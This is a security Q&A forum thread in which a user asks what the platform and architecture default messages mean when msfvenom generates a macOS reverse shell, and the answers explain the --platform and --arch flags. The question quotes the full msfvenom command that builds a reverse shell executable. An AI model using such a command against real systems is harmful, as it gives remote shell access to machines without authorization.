0

I am trying to generate a reverse shell payload using msfvenom. When I run

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

which I found on this site, I get the following output:

No platform was selected, choosing Msf::Module::Platform::OSX from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 65 bytes
Final size of macho file: 20800 bytes

The file is generated, and it works fine, but I am wondering what the first two lines of that output mean. Is there anything I'm missing?

0

1 Answer 1

3

"Platform" stands for the OS platform of the payload, whether it is Windows, Linux, OSX, etc. you provide it with

--platform
"Arch" stands for processor architecture you are targeting (x86, x64). You use
--arch

1
  • 3
    ... and the messages mean that msvenom used defaults for those settings
    – schroeder
    Aug 12, 2018 at 10:43

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .